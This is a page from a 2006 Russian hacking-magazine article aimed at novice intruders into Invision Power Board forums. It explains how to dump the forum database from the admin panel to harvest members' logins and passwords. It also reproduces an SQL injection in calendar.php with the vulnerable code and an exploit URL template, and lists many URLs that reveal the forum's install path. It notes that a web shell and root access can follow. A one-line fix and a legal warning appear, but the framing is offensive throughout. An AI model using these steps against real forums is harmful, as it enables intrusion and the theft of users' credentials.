Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #88, АПРЕЛЬ 2006 г.

Резня бензопилой

Fear (fear@cyberlords.net)

Хакер, номер #088, стр. 088-068-3


Как нестранно, но зачастую многие начинающие взломщики даже не знают, как сделать дамп базы данных, и после входа в админку просто теряются. Поэтому я решил затронуть этот аспект. Если нужно скопировать всю базу данных, проделываем следующие действия: переходим во вкладку "Прочее" => смотрим сбоку блог "Управление SQL" => выбираем "Резервная копия" => жмем "Начать резервное копирование". Но я считаю, что делать дамп всей базы - лишняя трата времени. Проще просмотреть нужную таблицу. Делается это так: Прочее => Управление SQL => Утилита => Выбираем нужную таблицу. Логины и пароли всех участников форума хранятся в таблице "ibf_members" или "ibf_sessions".

[это еще не все]

Кроме вышеописанной уязвимости, недавно команда ru24 нашла еще парочку ошибок программеров:

Sql-injection:

В скрипте calendar.php в функции cal_event_save( $type='add' ) отсутствует проверка на тип в переменной event_id:

$event_id = $this->ipsclass->input['event_id'];

Далее эта переменная подставляется напрямую в запрос к БД

$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'cal_events', 'where' => "event_id=$event_id" ) );

(и еще один запрос;)

Это позволяет модифицировать запрос к базе данных:

http://path_to_forum/index.php?act=calendar&code=doedit&type=qqq&event_id=your_SQL

Для успешной эксплуатации данной уязвимоcти необходимо обладать правами для манипуляции с событиями календаря (добавление, редактирование).

Для исправления данной уязвимости достаточно $event_id = $this->ipsclass->input['event_id']; заменить на $event_id = intval($this->ipsclass->input['event_id']);

Ну и раскрытие установочного пути. Из-за ошибок в скриптах можно определить полный путь к установочной дирректории форума, обратившись к одному из следующих скриптов напрямую:

http://path_to_forum/sources/loginauth/ldap/auth.php

http://path_to_forum/sources/loginauth/internal/auth.php

http://path_to_forum/sources/loginauth/external/auth.php

http://path_to_forum/sources/loginauth/convert/auth.php

http://path_to_forum/sources/loginauth/convert/auth.php.bak

http://path_to_forum/sources/lib/search_mysql_man.php

http://path_to_forum/sources/lib/search_mysql_ftext.php

http://path_to_forum/sources/classes/post/class_post_edit.php

http://path_to_forum/sources/classes/post/class_post_new.php

http://path_to_forum/sources/classes/post/class_post_reply.php

http://path_to_forum/sources/classes/editor/class_editor_std.php

http://path_to_forum/sources/classes/editor/class_editor_rte.php

http://path_to_forum/sources/classes/bbcode/class_bbcode.php

http://path_to_forum/sources/classes/bbcode/class_bbcode_legacy.php

http://path_to_forum/sources/acp_loaders/acp_pages_components.php

http://path_to_forum/ips_kernel/PEAR/Text/Diff3.php

http://path_to_forum/ips_kernel/PEAR/Text/Diff/Renderer/inline.php

http://path_to_forum/ips_kernel/PEAR/Text/Diff/Renderer/unified.php

[game over]

Как видишь, через уязвимый форум можно получить веб-шелл, а потом, если повезет, и root-привилегии. На момент написания статьи уже вышла новая версия IPB - 2.1.4, но я уверен на 101%, что она так же уязвима, как и все более ранние версии. Впрочем, я всего лишь сказал, что форум можно сломать, однако не стоит делать этого, так как закон не дремлет!

Назад на стр. 088-068-2  Содержание  Вперед на стр. 088-068-4